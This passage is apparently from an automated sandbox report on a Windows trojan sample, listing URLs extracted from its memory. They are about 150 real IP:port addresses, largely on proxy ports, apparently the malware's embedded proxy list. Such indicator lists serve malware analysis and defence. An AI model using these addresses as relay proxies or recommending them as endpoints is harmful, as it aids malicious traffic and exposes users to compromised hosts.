Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.191.169.66:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.191.169.66:4145x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.194.38.106:3333
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.194.38.106:3333://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9245000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8F85000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.210.37.4:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8F9B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.210.37.4:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.228.235.6
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.228.235.6://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C776C000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7773000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.232.245.122:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C776C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.232.245.122:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC63E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.232.253.108:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC63E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.232.253.108:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.235.108.14:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.235.108.14:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.240.202.218:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.240.202.218:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAD8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.240.254.145:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.240.254.145:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C815E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.249.112.162
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C813B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.249.112.162://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.249.112.162:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBEFD000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC0E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.51.7.66:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBEFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.51.7.66:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.54.62.254:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.54.62.254:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.63.84.58:8081
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.63.84.58:8081://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.65.28.57:30962
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.65.28.57:30962://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.67.8.6
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A67000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.67.8.6://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.67.8.6:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C90FE000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C674A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.72.68.247:8082
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C674A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.72.68.247:8082://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.78.237.2:55443
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.78.237.2:55443://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.78.237.2:55443P
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.80.162.81:10805
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.80.162.81:10805://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.82.77.2:32520
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.82.77.2:32520://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.84.176.11:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.84.176.11:8080://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.91.125.238:8089
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.91.125.238:8089://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.95.10.208:8082
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://80.95.10.208:8082://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.0.221.90:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.0.221.90:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB107000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.103.105.130:8888
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C850F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.103.105.130:8888://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.12.119.171:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.12.119.171:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7F7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.12.124.50:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7F7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.12.124.50:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.134.57.82:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.134.57.82:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C82D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.145.242.14:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C82C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.145.242.14:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.16.1.188:32650
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.16.1.188:32650://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.161.236.152:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.161.236.152:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.17.94.50:34300
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.17.94.50:34300://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.177.6.68:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.177.6.68:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.199.14.17:1088
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.199.14.17:1088://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.199.14.49:1088
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.199.14.49:1088://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.219.155.193:65000
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.219.155.193:65000://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C90FE000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.23.114.238:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9121000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.23.114.238:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.250.223.126
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.250.223.126://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.250.223.126:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.43.68.47:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.43.68.47:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.44.83.70:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.44.83.70:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.68.190.184:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.68.190.184:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.69.243.126:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.69.243.126:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.70.253.152:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.70.253.152:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C779D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C77B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.91.139.76:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C779D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.91.139.76:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65B5000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.94.255.13:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://81.94.255.13:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://82.102.10.104:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://82.102.10.104:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C757D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://82.113.157.122:31280
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6689000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://82.113.157.122:31280://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://82.117.252.143:13978
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://82.117.252.143:13978://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6CAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://82.119.96.254
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6911000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://82.119.96.254://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6911000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://82.119.96.254:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://82.135.123.155:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://82.135.123.155:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C66E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://82.146.37.145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C66FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://82.146.37.145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C66E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://82.146.37.145:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://82.165.105.48
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://82.165.105.48://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://82.165.105.48:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://82.165.208.126:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://82.165.208.126:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://82.194.133.209:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://82.194.133.209:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://82.200.106.177:5225
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://82.200.106.177:5225://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8ED8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://82.208.111.19
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8514000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://82.208.111.19://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C850F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://82.208.111.19:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://82.210.56.251
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://82.210.56.251://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://82.210.56.251:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://82.223.102.92:9443
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://82.223.102.92:9443://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://82.223.121.72:54368
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://82.223.121.72:54368://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://82.223.121.72:63596
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://82.223.121.72:63596://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://82.64.77.30
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://82.64.77.30://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://82.64.77.30:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://82.65.98.35:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://82.65.98.35:3128://proxy
